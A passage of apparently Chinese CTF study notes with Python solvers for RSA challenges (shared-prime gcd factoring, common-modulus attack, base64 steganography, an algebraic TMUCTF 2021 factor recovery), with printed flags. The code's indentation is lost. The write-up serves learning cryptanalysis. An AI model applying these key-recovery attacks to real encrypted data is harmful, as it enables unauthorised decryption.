p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = "==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM"
q = n // p
print(q)
phi = (p-1)*(q-1)
c = int(b64decode(c[::-1]))
for e in range(50000,70000):
if gmpy2.gcd(e, phi) == 1:
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c,d,n)
flag = str(long_to_bytes(m))
print(flag)
BUUCTF RSA5
import gmpy2
from Crypto.Util.number import long_to_bytes
n1 = 20474918894051778533305262345601880928088284471121823754049725354072477155873778848055073843345820697886641086842612486541250183965966001591342031562953561793332341641334302847996108417466360688139866505179689516589305636902137210185624650854906780037204412206309949199080005576922775773722438863762117750429327585792093447423980002401200613302943834212820909269713876683465817369158585822294675056978970612202885426436071950214538262921077409076160417436699836138801162621314845608796870206834704116707763169847387223307828908570944984416973019427529790029089766264949078038669523465243837675263858062854739083634207
c1 = 974463908243330865728978769213595400782053398596897741316275722596415018912929508637393850919224969271766388710025195039896961956062895570062146947736340342927974992616678893372744261954172873490878805483241196345881721164078651156067119957816422768524442025688079462656755605982104174001635345874022133045402344010045961111720151990412034477755851802769069309069018738541854130183692204758761427121279982002993939745343695671900015296790637464880337375511536424796890996526681200633086841036320395847725935744757993013352804650575068136129295591306569213300156333650910795946800820067494143364885842896291126137320
n2 = 20918819960648891349438263046954902210959146407860980742165930253781318759285692492511475263234242002509419079545644051755251311392635763412553499744506421566074721268822337321637265942226790343839856182100575539845358877493718334237585821263388181126545189723429262149630651289446553402190531135520836104217160268349688525168375213462570213612845898989694324269410202496871688649978370284661017399056903931840656757330859626183773396574056413017367606446540199973155630466239453637232936904063706551160650295031273385619470740593510267285957905801566362502262757750629162937373721291789527659531499435235261620309759
c2 = 15819636201971185538694880505120469332582151856714070824521803121848292387556864177196229718923770810072104155432038682511434979353089791861087415144087855679134383396897817458726543883093567600325204596156649305930352575274039425470836355002691145864435755333821133969266951545158052745938252574301327696822347115053614052423028835532509220641378760800693351542633860702225772638930501021571415907348128269681224178300248272689705308911282208685459668200507057183420662959113956077584781737983254788703048275698921427029884282557468334399677849962342196140864403989162117738206246183665814938783122909930082802031855
n3 = 25033254625906757272369609119214202033162128625171246436639570615263949157363273213121556825878737923265290579551873824374870957467163989542063489416636713654642486717219231225074115269684119428086352535471683359486248203644461465935500517901513233739152882943010177276545128308412934555830087776128355125932914846459470221102007666912211992310538890654396487111705385730502843589727289829692152177134753098649781412247065660637826282055169991824099110916576856188876975621376606634258927784025787142263367152947108720757222446686415627479703666031871635656314282727051189190889008763055811680040315277078928068816491
c3 = 4185308529416874005831230781014092407198451385955677399668501833902623478395669279404883990725184332709152443372583701076198786635291739356770857286702107156730020004358955622511061410661058982622055199736820808203841446796305284394651714430918690389486920560834672316158146453183789412140939029029324756035358081754426645160033262924330248675216108270980157049705488620263485129480952814764002865280019185127662449318324279383277766416258142275143923532168798413011028271543085249029048997452212503111742302302065401051458066585395360468447460658672952851643547193822775218387853623453638025492389122204507555908862
n4 = 21206968097314131007183427944486801953583151151443627943113736996776787181111063957960698092696800555044199156765677935373149598221184792286812213294617749834607696302116136745662816658117055427803315230042700695125718401646810484873064775005221089174056824724922160855810527236751389605017579545235876864998419873065217294820244730785120525126565815560229001887622837549118168081685183371092395128598125004730268910276024806808565802081366898904032509920453785997056150497645234925528883879419642189109649009132381586673390027614766605038951015853086721168018787523459264932165046816881682774229243688581614306480751
c4 = 4521038011044758441891128468467233088493885750850588985708519911154778090597136126150289041893454126674468141393472662337350361712212694867311622970440707727941113263832357173141775855227973742571088974593476302084111770625764222838366277559560887042948859892138551472680654517814916609279748365580610712259856677740518477086531592233107175470068291903607505799432931989663707477017904611426213770238397005743730386080031955694158466558475599751940245039167629126576784024482348452868313417471542956778285567779435940267140679906686531862467627238401003459101637191297209422470388121802536569761414457618258343550613
n5 = 22822039733049388110936778173014765663663303811791283234361230649775805923902173438553927805407463106104699773994158375704033093471761387799852168337898526980521753614307899669015931387819927421875316304591521901592823814417756447695701045846773508629371397013053684553042185725059996791532391626429712416994990889693732805181947970071429309599614973772736556299404246424791660679253884940021728846906344198854779191951739719342908761330661910477119933428550774242910420952496929605686154799487839923424336353747442153571678064520763149793294360787821751703543288696726923909670396821551053048035619499706391118145067
c5 = 15406498580761780108625891878008526815145372096234083936681442225155097299264808624358826686906535594853622687379268969468433072388149786607395396424104318820879443743112358706546753935215756078345959375299650718555759698887852318017597503074317356745122514481807843745626429797861463012940172797612589031686718185390345389295851075279278516147076602270178540690147808314172798987497259330037810328523464851895621851859027823681655934104713689539848047163088666896473665500158179046196538210778897730209572708430067658411755959866033531700460551556380993982706171848970460224304996455600503982223448904878212849412357
n6 = 21574139855341432908474064784318462018475296809327285532337706940126942575349507668289214078026102682252713757703081553093108823214063791518482289846780197329821139507974763780260290309600884920811959842925540583967085670848765317877441480914852329276375776405689784571404635852204097622600656222714808541872252335877037561388406257181715278766652824786376262249274960467193961956690974853679795249158751078422296580367506219719738762159965958877806187461070689071290948181949561254144310776943334859775121650186245846031720507944987838489723127897223416802436021278671237227993686791944711422345000479751187704426369
c6 = 20366856150710305124583065375297661819795242238376485264951185336996083744604593418983336285185491197426018595031444652123288461491879021096028203694136683203441692987069563513026001861435722117985559909692670907347563594578265880806540396777223906955491026286843168637367593400342814725694366078337030937104035993569672959361347287894143027186846856772983058328919716702982222142848848117768499996617588305301483085428547267337070998767412540225911508196842253134355901263861121500650240296746702967594224401650220168780537141654489215019142122284308116284129004257364769474080721001708734051264841350424152506027932
n7 = 25360227412666612490102161131174584819240931803196448481224305250583841439581008528535930814167338381983764991296575637231916547647970573758269411168219302370541684789125112505021148506809643081950237623703181025696585998044695691322012183660424636496897073045557400768745943787342548267386564625462143150176113656264450210023925571945961405709276631990731602198104287528528055650050486159837612279600415259486306154947514005408907590083747758953115486124865486720633820559135063440942528031402951958557630833503775112010715604278114325528993771081233535247118481765852273252404963430792898948219539473312462979849137
c7 = 19892772524651452341027595619482734356243435671592398172680379981502759695784087900669089919987705675899945658648623800090272599154590123082189645021800958076861518397325439521139995652026377132368232502108620033400051346127757698623886142621793423225749240286511666556091787851683978017506983310073524398287279737680091787333547538239920607761080988243639547570818363788673249582783015475682109984715293163137324439862838574460108793714172603672477766831356411304446881998674779501188163600664488032943639694828698984739492200699684462748922883550002652913518229322945040819064133350314536378694523704793396169065179
n8 = 22726855244632356029159691753451822163331519237547639938779517751496498713174588935566576167329576494790219360727877166074136496129927296296996970048082870488804456564986667129388136556137013346228118981936899510687589585286517151323048293150257036847475424044378109168179412287889340596394755257704938006162677656581509375471102546261355748251869048003600520034656264521931808651038524134185732929570384705918563982065684145766427962502261522481994191989820110575981906998431553107525542001187655703534683231777988419268338249547641335718393312295800044734534761692799403469497954062897856299031257454735945867491191
c8 = 6040119795175856407541082360023532204614723858688636724822712717572759793960246341800308149739809871234313049629732934797569781053000686185666374833978403290525072598774001731350244744590772795701065129561898116576499984185920661271123665356132719193665474235596884239108030605882777868856122378222681140570519180321286976947154042272622411303981011302586225630859892731724640574658125478287115198406253847367979883768000812605395482952698689604477719478947595442185921480652637868335673233200662100621025061500895729605305665864693122952557361871523165300206070325660353095592778037767395360329231331322823610060006
n9 = 23297333791443053297363000786835336095252290818461950054542658327484507406594632785712767459958917943095522594228205423428207345128899745800927319147257669773812669542782839237744305180098276578841929496345963997512244219376701787616046235397139381894837435562662591060768476997333538748065294033141610502252325292801816812268934171361934399951548627267791401089703937389012586581080223313060159456238857080740699528666411303029934807011214953984169785844714159627792016926490955282697877141614638806397689306795328344778478692084754216753425842557818899467945102646776342655167655384224860504086083147841252232760941
c9 = 5418120301208378713115889465579964257871814114515046096090960159737859076829258516920361577853903925954198406843757303687557848302302200229295916902430205737843601806700738234756698575708612424928480440868739120075888681672062206529156566421276611107802917418993625029690627196813830326369874249777619239603300605876865967515719079797115910578653562787899019310139945904958024882417833736304894765433489476234575356755275147256577387022873348906900149634940747104513850154118106991137072643308620284663108283052245750945228995387803432128842152251549292698947407663643895853432650029352092018372834457054271102816934
n10 = 28873667904715682722987234293493200306976947898711255064125115933666968678742598858722431426218914462903521596341771131695619382266194233561677824357379805303885993804266436810606263022097900266975250431575654686915049693091467864820512767070713267708993899899011156106766178906700336111712803362113039613548672937053397875663144794018087017731949087794894903737682383916173267421403408140967713071026001874733487295007501068871044649170615709891451856792232315526696220161842742664778581287321318748202431466508948902745314372299799561625186955234673012098210919745879882268512656931714326782335211089576897310591491
c10 = 9919880463786836684987957979091527477471444996392375244075527841865509160181666543016317634963512437510324198702416322841377489417029572388474450075801462996825244657530286107428186354172836716502817609070590929769261932324275353289939302536440310628698349244872064005700644520223727670950787924296004296883032978941200883362653993351638545860207179022472492671256630427228461852668118035317021428675954874947015197745916918197725121122236369382741533983023462255913924692806249387449016629865823316402366017657844166919846683497851842388058283856219900535567427103603869955066193425501385255322097901531402103883869
n11 = 22324685947539653722499932469409607533065419157347813961958075689047690465266404384199483683908594787312445528159635527833904475801890381455653807265501217328757871352731293000303438205315816792663917579066674842307743845261771032363928568844669895768092515658328756229245837025261744260614860746997931503548788509983868038349720225305730985576293675269073709022350700836510054067641753713212999954307022524495885583361707378513742162566339010134354907863733205921845038918224463903789841881400814074587261720283879760122070901466517118265422863420376921536734845502100251460872499122236686832189549698020737176683019
c11 = 1491527050203294989882829248560395184804977277747126143103957219164624187528441047837351263580440686474767380464005540264627910126483129930668344095814547592115061057843470131498075060420395111008619027199037019925701236660166563068245683975787762804359520164701691690916482591026138582705558246869496162759780878437137960823000043988227303003876410503121370163303711603359430764539337597866862508451528158285103251810058741879687875218384160282506172706613359477657215420734816049393339593755489218588796607060261897905233453268671411610631047340459487937479511933450369462213795738933019001471803157607791738538467
n12 = 27646746423759020111007828653264027999257847645666129907789026054594393648800236117046769112762641778865620892443423100189619327585811384883515424918752749559627553637785037359639801125213256163008431942593727931931898199727552768626775618479833029101249692573716030706695702510982283555740851047022672485743432464647772882314215176114732257497240284164016914018689044557218920300262234652840632406067273375269301008409860193180822366735877288205783314326102263756503786736122321348320031950012144905869556204017430593656052867939493633163499580242224763404338807022510136217187779084917996171602737036564991036724299
c12 = 21991524128957260536043771284854920393105808126700128222125856775506885721971193109361315961129190814674647136464887087893990660894961612838205086401018885457667488911898654270235561980111174603323721280911197488286585269356849579263043456316319476495888696219344219866516861187654180509247881251251278919346267129904739277386289240394384575124331135655943513831009934023397457082184699737734388823763306805326430395849935770213817533387235486307008892410920611669932693018165569417445885810825749609388627231235840912644654685819620931663346297596334834498661789016450371769203650109994771872404185770230172934013971
n13 = 20545487405816928731738988374475012686827933709789784391855706835136270270933401203019329136937650878386117187776530639342572123237188053978622697282521473917978282830432161153221216194169879669541998840691383025487220850872075436064308499924958517979727954402965612196081404341651517326364041519250125036424822634354268773895465698920883439222996581226358595873993976604699830613932320720554130011671297944433515047180565484495191003887599891289037982010216357831078328159028953222056918189365840711588671093333013117454034313622855082795813122338562446223041211192277089225078324682108033843023903550172891959673551
c13 = 14227439188191029461250476692790539654619199888487319429114414557975376308688908028140817157205579804059783807641305577385724758530138514972962209062230576107406142402603484375626077345190883094097636019771377866339531511965136650567412363889183159616188449263752475328663245311059988337996047359263288837436305588848044572937759424466586870280512424336807064729894515840552404756879590698797046333336445465120445087587621743906624279621779634772378802959109714400516183718323267273824736540168545946444437586299214110424738159957388350785999348535171553569373088251552712391288365295267665691357719616011613628772175
n14 = 27359727711584277234897157724055852794019216845229798938655814269460046384353568138598567755392559653460949444557879120040796798142218939251844762461270251672399546774067275348291003962551964648742053215424620256999345448398805278592777049668281558312871773979931343097806878701114056030041506690476954254006592555275342579529625231194321357904668512121539514880704046969974898412095675082585315458267591016734924646294357666924293908418345508902112711075232047998775303603175363964055048589769318562104883659754974955561725694779754279606726358588862479198815999276839234952142017210593887371950645418417355912567987
c14 = 3788529784248255027081674540877016372807848222776887920453488878247137930578296797437647922494510483767651150492933356093288965943741570268943861987024276610712717409139946409513963043114463933146088430004237747163422802959250296602570649363016151581364006795894226599584708072582696996740518887606785460775851029814280359385763091078902301957226484620428513604630585131511167015763190591225884202772840456563643159507805711004113901417503751181050823638207803533111429510911616160851391754754434764819568054850823810901159821297849790005646102129354035735350124476838786661542089045509656910348676742844957008857457
n15 = 27545937603751737248785220891735796468973329738076209144079921449967292572349424539010502287564030116831261268197384650511043068738911429169730640135947800885987171539267214611907687570587001933829208655100828045651391618089603288456570334500533178695238407684702251252671579371018651675054368606282524673369983034682330578308769886456335818733827237294570476853673552685361689144261552895758266522393004116017849397346259119221063821663280935820440671825601452417487330105280889520007917979115568067161590058277418371493228631232457972494285014767469893647892888681433965857496916110704944758070268626897045014782837
c15 = 14069112970608895732417039977542732665796601893762401500878786871680645798754783315693511261740059725171342404186571066972546332813667711135661176659424619936101038903439144294886379322591635766682645179888058617577572409307484708171144488708410543462972008179994594087473935638026612679389759756811490524127195628741262871304427908481214992471182859308828778119005750928935764927967212343526503410515793717201360360437981322576798056276657140363332700714732224848346808963992302409037706094588964170239521193589470070839790404597252990818583717869140229811712295005710540476356743378906642267045723633874011649259842
n16 = 25746162075697911560263181791216433062574178572424600336856278176112733054431463253903433128232709054141607100891177804285813783247735063753406524678030561284491481221681954564804141454666928657549670266775659862814924386584148785453647316864935942772919140563506305666207816897601862713092809234429096584753263707828899780979223118181009293655563146526792388913462557306433664296966331469906428665127438829399703002867800269947855869262036714256550075520193125987011945192273531732276641728008406855871598678936585324782438668746810516660152018244253008092470066555687277138937298747951929576231036251316270602513451
c16 = 17344284860275489477491525819922855326792275128719709401292545608122859829827462088390044612234967551682879954301458425842831995513832410355328065562098763660326163262033200347338773439095709944202252494552172589503915965931524326523663289777583152664722241920800537867331030623906674081852296232306336271542832728410803631170229642717524942332390842467035143631504401140727083270732464237443915263865880580308776111219718961746378842924644142127243573824972533819479079381023103585862099063382129757560124074676150622288706094110075567706403442920696472627797607697962873026112240527498308535903232663939028587036724
n17 = 23288486934117120315036919418588136227028485494137930196323715336208849327833965693894670567217971727921243839129969128783853015760155446770590696037582684845937132790047363216362087277861336964760890214059732779383020349204803205725870225429985939570141508220041286857810048164696707018663758416807708910671477407366098883430811861933014973409390179948577712579749352299440310543689035651465399867908428885541237776143404376333442949397063249223702355051571790555151203866821867908531733788784978667478707672984539512431549558672467752712004519300318999208102076732501412589104904734983789895358753664077486894529499
c17 = 10738254418114076548071448844964046468141621740603214384986354189105236977071001429271560636428075970459890958274941762528116445171161040040833357876134689749846940052619392750394683504816081193432350669452446113285638982551762586656329109007214019944975816434827768882704630460001209452239162896576191876324662333153835533956600295255158377025198426950944040643235430211011063586032467724329735785947372051759042138171054165854842472990583800899984893232549092766400510300083585513014171220423103452292891496141806956300396540682381668367564569427813092064053993103537635994311143010708814851867239706492577203899024
n18 = 19591441383958529435598729113936346657001352578357909347657257239777540424811749817783061233235817916560689138344041497732749011519736303038986277394036718790971374656832741054547056417771501234494768509780369075443550907847298246275717420562375114406055733620258777905222169702036494045086017381084272496162770259955811174440490126514747876661317750649488774992348005044389081101686016446219264069971370646319546429782904810063020324704138495608761532563310699753322444871060383693044481932265801505819646998535192083036872551683405766123968487907648980900712118052346174533513978009131757167547595857552370586353973
c18 = 3834917098887202931981968704659119341624432294759361919553937551053499607440333234018189141970246302299385742548278589896033282894981200353270637127213483172182529890495903425649116755901631101665876301799865612717750360089085179142750664603454193642053016384714515855868368723508922271767190285521137785688075622832924829248362774476456232826885801046969384519549385428259591566716890844604696258783639390854153039329480726205147199247183621535172450825979047132495439603840806501254997167051142427157381799890725323765558803808030109468048682252028720241357478614704610089120810367192414352034177484688502364022887
n19 = 19254242571588430171308191757871261075358521158624745702744057556054652332495961196795369630484782930292003238730267396462491733557715379956969694238267908985251699834707734400775311452868924330866502429576951934279223234676654749272932769107390976321208605516299532560054081301829440688796904635446986081691156842271268059970762004259219036753174909942343204432795076377432107630203621754552804124408792358220071862369443201584155711893388877350138023238624566616551246804054720492816226651467017802504094070614892556444425915920269485861799532473383304622064493223627552558344088839860178294589481899206318863310603
c19 = 6790553533991297205804561991225493105312398825187682250780197510784765226429663284220400480563039341938599783346724051076211265663468643826430109013245014035811178295081939958687087477312867720289964506097819762095244479129359998867671811819738196687884696680463458661374310994610760009474264115750204920875527434486437536623589684519411519100170291423367424938566820315486507444202022408003879118465761273916755290898112991525546114191064022991329724370064632569903856189236177894007766690782630247443895358893983735822824243487181851098787271270256780891094405121947631088729917398317652320497765101790132679171889
n20 = 26809700251171279102974962949184411136459372267620535198421449833298448092580497485301953796619185339316064387798092220298630428207556482805739803420279056191194360049651767412572609187680508073074653291350998253938793269214230457117194434853888765303403385824786231859450351212449404870776320297419712486574804794325602760347306432927281716160368830187944940128907971027838510079519466846176106565164730963988892400240063089397720414921398936399927948235195085202171264728816184532651138221862240969655185596628285814057082448321749567943946273776184657698104465062749244327092588237927996419620170254423837876806659
c20 = 386213556608434013769864727123879412041991271528990528548507451210692618986652870424632219424601677524265011043146748309774067894985069288067952546139416819404039688454756044862784630882833496090822568580572859029800646671301748901528132153712913301179254879877441322285914544974519727307311002330350534857867516466612474769753577858660075830592891403551867246057397839688329172530177187042229028685862036140779065771061933528137423019407311473581832405899089709251747002788032002094495379614686544672969073249309703482556386024622814731015767810042969813752548617464974915714425595351940266077021672409858645427346
n = [n1, n2, n3, n4, n5, n6, n7, n8, n9, n10, n11,
n12, n13, n14, n15, n16, n17, n18, n19, n20]
for i in range(len(n)):
for j in range(i+1, len(n)):
if (gmpy2.gcd(n[i], n[j]) != 1):
print(i, j)
e = 65537
p = gmpy2.gcd(n5,n18)
print(p)
q = n5 // p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c5,d,n5)
print(long_to_bytes(m))
# b'flag{abdcbe5fd94e23b3de429223ab9c2fdf}'
BUUCTF RSA & what
import base64
import gmpy2
from Crypto.Util.number import long_to_bytes
def common_modulus_attack(c1, c2, e1, e2, n):
# 扩展欧几里得算法找到 a 和 b
g, a, b = gmpy2.gcdext(e1, e2)
# 确保 e1 和 e2 互质
if g != 1:
raise ValueError("e1 和 e2 必须互质")
# 计算 c1^a 和 c2^b
if a < 0:
c1 = gmpy2.invert(c1, n)
a = -a
if b < 0:
c2 = gmpy2.invert(c2, n)
b = -b
m1 = gmpy2.powmod(c1, a, n)
m2 = gmpy2.powmod(c2, b, n)
# 恢复消息 m
m = (m1 * m2) % n
return m
n = 785095419718268286866508214304816985447077293766819398728046411166917810820484759314291028976498223661229395009474063173705162627037610993539617751905443039278227583504604808251931083818909467613277587874545761074364427549966555519371913859875313577282243053150056274667798049694695703660313532933165449312949725581708965417273055582216295994587600975970124811496270080896977076946000102701030260990598181466447208054713391526313700681341093922240317428173599031624125155188216489476825606191521182034969120343287691181300399683515414809262700457525876691808180257730351707673660380698973884642306898810000633684878715402823143549139850732982897459698089649561190746850698130299458080255582312696873149210028240898137822888492559957665067936573356367589784593119016624072433872744537432005911668494455733330689385141214653091888017782049043434862620306783436169856564175929871100669913438980899219579329897753233450934770193915434791427728636586218049874617231705308003720066269312729135764175698611068808404054125581540114956463603240222497919384691718744014002554201602395969312999994159599536026359879060218056496345745457493919771337601177449899066579857630036350871090452649830775029695488575574985078428560054253180863725364147
e1 = 1697
e2 = 599
c1 = []
c2 = []
with open('HUB1') as f:
for line in f.readlines():
c1.append(line.strip())
with open('HUB2') as f:
for line in f.readlines():
c2.append(line.strip())
m = b''
for c_1, c_2 in zip(c1,c2):
m += long_to_bytes(common_modulus_attack(int(c_1), int(c_2), e1, e2, n))
# Base64隐写
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
bin_str = ''
for line in m.split(b'\n'):
stegb64 = str(line, 'utf-8').strip('\n')
rowb64 = str(base64.b64encode(base64.b64decode(stegb64)), 'utf-8').strip('\n')
offset = abs(base64chars.index(stegb64.replace('=', '')[-1]) - base64chars.index(rowb64.replace('=', '')[-1]))
equalnum = stegb64.count('=') # no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
res = [chr(int(bin_str[i:i + 8], 2)) for i in range(0, len(bin_str), 8)]
flag = ''.join(res)
print(flag)
# 7c86d8f7d6de33a87f7f9d6b005ce640
参考资料
- https://github.com/RsaCtfTool/RsaCtfTool
- https://www.freebuf.com/vuls/257835.html
- https://forum.butian.net/share/478
- https://xz.aliyun.com/t/2446
- https://www.anquanke.com/post/id/217151#h2-9
TMUCTF 2021
from Crypto.Util.number import *
from functools import reduce
def encrypt(msg, n):
enc = pow(bytes_to_long(msg), e, n)
return enc
e = 65537
primes = [getPrime(2048) for i in range(5)]
n = reduce(lambda a, x: a * x, primes, 1)
print(n)
x1 = primes[1] ** 2
x2 = primes[2] ** 2
x3 = primes[1] * primes[2]
y1 = x1 * primes[2] + x2 * primes[1]
y2 = x2 * (primes[3] + 1) - 1
y3 = x3 * (primes[3] + 1) - 1
print(x2 + x3 + y1)
print(y2 + y3)
with open('flag', 'rb') as f:
flag = f.read()
print(encrypt(flag, n))
\[\begin{align} n &= p_1 \cdot p_2 \cdot p_3 \cdot p_4 \cdot p_5 \
x_2 + x_3 + y_1 &= p_2^2 + p_1p_2 + p_1^2p_2 + p_2^2p_1 = p_2(p_1+p_2)(p_1+1) = h_1 \
\therefore p_2 &= \gcd(n,h_1)
\end{align}\]
\( n \)和$x_2 + x_3 + y_1 \)有公约数\( p_2 \),进而通过解一元二次方程可求\( p_1 \)
\[ p_1^2p_2 + (p_2^2 + p_2)p_1 + (p_2 - h_1) = 0 \ \]
\[ \therefore p_1 = \frac{-(p_2^2 + p_2) \pm \sqrt{(p_2^2 + p_2)^2 - 4p_2(p_2 - h_1)}}{2p_2} \]
求\( p_3 \)
\[ \begin{align*} y_2 + y_3 &= p_2^2 \cdot (p_3 + 1) - 1 + p_1p_2 \cdot (p_3 + 1) - 1 = (p_3 + 1)(p_2^2 + p_1p_2) = h_2 \ h_2 + 2 &= (p_3 + 1) \cdot (p_2^2 + p_1 \cdot p_2) \ p_3 &= \frac{(h_2 + 2)}{(p_2^2 + p_1 \cdot p_2)} - 1 \end{align*} \]
#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *
n = 2870378965838324591930716372043943202857808446139955114178972466357197191646555386310681233993639582571871810351336802365212612829432807326876330070965674249357286034347008657883629500396346167749508691814871533203247809103597516756034759095100637453841622270471713637175966387708675681650825362129940918643196769504213592200456774778948694877618977617011530883570013644245183319361244368215398610979149060320165814554577615652211730789657513270358973557241707978338139984414979470166202562114202380919071164176972055791789476453657467515306951139381362369978138151345609568127199377878026652554062731521632501476705069316208464363846111869669167682507916421047852441782552255491492824812854004513204360809331798274954243569021433963906972169417423418831314860109084130511234616069241809687828168649890352090249712449906176079861456197001597695071378819897916782564243557316380779536239285819430145429214343617897807321057453881231873109668847371444981597545948164776111805671836878974593063507806022594658899187647227705150195530817678931698098259376629125579883657290675365061062988342506737677539253213873486072882314916722654639439974767729667348308089822272618812141734747518190918131475394008358752485820114352585363697943409142405397187811488425763607870435598703473283558863875082511735753198985761770194691897333996772347209579690094484306582887604607085834235579991339081114877411129747659636913741732353593602493602935647498099959376575507080043282822039059772712513621914435714472997174303938650778721067511657786410145042462581432379653230157438512241441297394613009093982995995721488753402291657942043365728675978004538612865075473060797997060824242663659400972803009150895091065010288979279208343727383126907536910816233381252213949988179391769784859432462536001028414576853626404313552019318821609411415846740546897494827049963081729773556670009694396655902808674253954003664489541274216766985514320658655385155404804471285629385163182065527325960787883285164384400671878810956747078706832300082761043350763868511932582950753204256098035119847645083342729287063167616495769840389702639642784779646124394274187760742667519368210034941587941073935227051959905320338654629277413407444919186684576561532634097854731829455621571431402040561443044139818425476711378475625762558700335148767065032908314020963523681108498054768101383636397920349166462138683843364568104852099786972138269207828354678771871957631305996408564918629611147162610100969994085549017653854895147761379806516965159036735885697873629236958604838297316909096866364056640064200671318939446575088736134834054178902097259981395846912668763412552618135586399374878369079393695944896480784503275721233694160817424918386850099538763638119036532611566641652505437494379272489263685110137046574303306123483008690943610001403933721637756187395490525025216826398321326468190996213618276820580272764947465497924136451423383678199000687060571477421196675667167891260178408652655959836575935636974063946514718181746525031519883430143656783652516536859306736796341726896446635046579279623124614077795247335483809777
h1 = 12189833951051730908370223331850919218243946952509718500560332838832804241963905158328421240593088009803147267463017892895712859666255758374859924227795693977692365712139787589267299790301022569583587926463070427550028215313969101326713297706315888193599192042874908901003626554054277955414415385731879026734954423731345798786722561845058120971545040892322209486011914785265062492920550158388814114563652053556586072198675716423094480300266767587890740892336081818352390563087579428787330255230317293748493589325405374600751428190100372051406745392483110379355174892921101536441200795867134576643519454074015675127266952070892796128379921598800605300182483946129377809823776730697790309647647190307296418381398693697240748290194721934318854836676911877413259621512269954316351093519057413607079769428640924051837599266617014518297183874986708528679104069884291849234025193207298171674607085234765320663128701647504631036578515249726222498212335082588627266250272379931767054363936707282364911659508871646177814796817889070190457673852047527357122774587607849820636184925240369923701314690600711989307878295308586902537853388274176578719581752448488589031302166298788451585838083076238353895213222535414766363665801955518856592943846521495707362179018672726109435436743723238172556767198562368516144637629110267835795311939660130673691902395560229758574266655957155862216872908603510940031334166746559195296408939506394470132257044581183533463281253397503463926598923844457702097679565967501579961386522021817780961888842972793029114864422478835769322906292819387383748603289494044561725080616097794190650081867485792883883943744138857860775053197775476414639386004107927910470986208356664914803636501181816689051948285860692212458532201937837589900582214489550639269506433713180672869129866286880957012266595540883727015907677897402607614096813204000
h2 = 10685466258462426438601930063854796559353071021872734112422666943995273083147678402485604005469990666166510724614508657976179169486278649913444601773228981194010779012945440827279478889951033722845969569487499109114807920422465585370352647531485228491726069752258604141544095143726497561287074963919306162501333879324320431815063767836881722714585596416818455332140968159290951800146179728839649549885714902391429304093259377977040947324691472037003260741076844850530123289350979761389302226559515709663477520315215796685387805223395013156063533568746725754875786890572455450963004254041206457627272694223378868063657567852741748730175173641019445706089775572094353061394171203735646557579595881047090069929263278434116703002648581646489410683234908239597741887334283851760107425225954878508549100715448112116790430791154066542690753466803004681805878269979001221299212426591974298670638899337600244969172572955344326969720268282445856163235666525453179028071857247486445419793906307197739042430106158187925914823345884448535360673122213977744765084269696399126350806729338388901052234851028732099724640679744428962810579433414095277730427540297789173682400086721025827804724736734372677509987948167038979141434755652392244734118982644329505761227780128318076798321983092557417882569724665849318066642854479540185619304472196160849810402529549850401440730174222018187759986936759639741288629098555521157461858554745777119186003733147607872641752914478401134544544581877108606144844955497062864711396338329584713840695858914573229254445387595034317081334732222156791041901660170883047145528155203729023944309061959449827690809614300474069217485344927501901373264278607167662413547572497683805087479857076246143962932587232903893219862365333270757997373558132982228573327073639550742090562057353483860863787775987229835303262050707215194078693398663198
c = 1295564702637495685309272079895645034267002212576577351176786924725825901033456751565363132227845395192636014504044948379030468685845611242265523726539023437126669783303765124723915472786629678436713048730755297486348344599742142845784560313837239832937917360379066282667491918054529416764918515780567145928364634646722930481542026187360739697820492335622597715014255829089436910724972509085963133800806856075152036053630879580926838241308921405124424958500485001162000846198656477271924822124768722799190195854806533587717469450248664509344104461703840455934612539385694033634268205463024167234754553081069919678171898669570723347606172526826003367647892759191360901723076962059024693433937573808414595918813154817183122218324304727720231993955442001953029300266308755291774280607633683770298830407751731984235360718897231362141728129903067324174378760053260419744395257753779565716943029464080442902252184316484343234160161564121269883788523966796266675498603214422442299610994620373055814615356464754724264668947373104292350153322562799134518201535870142301501474217531998628211638040128486684200215958700680344308113382908656637378359217107811764695801417920230331446471475336055801665419851805385433677261916024902543165187462517860936690178095112472342793009281361928879367602088695738746822374043544415398979893735410561210643701354068887205774369902436302903034048756740583183966251194450689131063910079690811851244607443172434856486129471747053074648343069627212505795579741010868965206480675568896896528625130571758075102146302306655426190892962618128161759734724982773347245232038629926619247273436934947196867813659364951484832193239178102156204300353342841972762595259292048840326449938071520689839586933982775979336248771535685895403976612898604059800532915376510948151614460338199157528220842025853852584958511622657382701623309639101678362821929006062524756352592131742510350318470015268920615837821556797760508924258618057921324240995910743034414956163701330735308503014893515707188853735706296571253748889626515245648558769422283608966241496382223293119306642490794180175154686106323945765280777140420938641267467633112805720348438191023736935327334544026698324629536721807051447503613438954736205208639453193587326470160505597834244792859179593877840449441035962707113092034561698560285482507381177956117498938436596192528337690808299050972992206796450167499247505347105318901580848542927515381051973057219542622235114029773502036331075236848879130640275120244541018979621405480997745366565533911987665660584132852855158311718515145400486762846976972483867689062569575052791463761762637757579908921446285546575036947648139847182684615282524513693899858284291993167395096893612172061860682116974864364966362118833708791957224527084022917788839602167742342150067548893185747653708657029597051779997866982601553339504636518951723213334104705177572536156329378433835224612846933662252315126902599937489337158843870992464520248466088492159756466651557918397098886626028193224320040156124777562920457488126430654110240828124538167742484933802988652725530546987842196376
e = 65537
p2 = gmpy2.gcd(h1, n)
p22 = p2**2
p1 = (-(p22+p2) + gmpy2.isqrt((p22+p2)**2 - 4*p2*(p22-h1))) // (2*p2)
p3 = (h2+2)//(p22 + p1*p2) - 1
assert all(isPrime(p) for p in [p1,p2,p3])
N = p1*p2*p3
phi = (p1-1)*(p2-1)*(p3-1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c,d,N)
print(long_to_bytes(m))
# TMUCTF{Y35!!!__M4Y_N0t_4lW4y5_N33d_4ll_p21M3_f4c70R5}
逆向工程
进制转换
字节序
字节序是指在计算机中存储多字节数据时,字节的顺序。主要有两种字节序:
- 大端字节序(Big-endian):高位字节存储在低地址,低位字节存储在高地址。
